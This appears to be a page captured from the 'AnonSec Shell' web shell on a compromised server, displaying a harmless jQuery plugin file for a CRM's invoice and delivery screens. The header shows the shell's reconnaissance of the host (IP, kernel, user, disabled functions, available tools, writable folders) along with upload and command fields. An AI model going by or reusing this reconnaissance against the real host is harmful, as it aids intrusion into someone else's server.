AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/dialogo/application/plugins/module_tecass/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/dialogo/application/plugins/module_tecass/assets/js/default.js
/* global existingFiles */
/*
	JS do plugin criado
*/
$(document).ready(function() {
	if ($('#description').length) {
		$('#description').redactor(
			{
				minHeight: 200,
				plugins: ['fontcolor']
			}
		);
	}

	if ($(".select2").length) {
		$(".select2").select2({
			theme: "bootstrap"
		});
	}

	$('#crm_accounts_id').on("select2:select", function(e) {
		var accId = $(this).val();
		var endpoint = $("#_url").val() + 'module_tecass/assistance/clientInvoices/' + accId;

		$.getJSON(endpoint, function (invoices) {
			var options = '';
			for (var i = 0; i < invoices.length; i++) {
				options += '<option value="' + invoices[i].id + '">' + invoices[i].id + " - " + invoices[i].account + '</option>';
			}
			$('#sys_invoices_id').html(options);
			$('#sys_invoices_id').select2({
				theme: "bootstrap"
			});
		});
	});

	if ($('.hour-os').length) {
		$('.hour-os').clockpicker({
			donetext: 'Done'
		});
	}


	if ($('.date-os').length) {
		$('.date-os').datepicker();
	}

	$('.delivery-information').on("click", function(e) {
		e.preventDefault();
		$("#delivered-modal").modal();
		var assId = $(this).data('id');
		var endpoint = $("#_url").val() + 'module_tecass/assistance/deliveryInformation/' + assId;

		$.getJSON(endpoint, function (assistance) {
			$('#show_delivered').val(assistance.delivered);
			$('#show_delivery_note').val(assistance.delivery_note);
		});
	});
});

Anon7 - 2022
AnonSec Team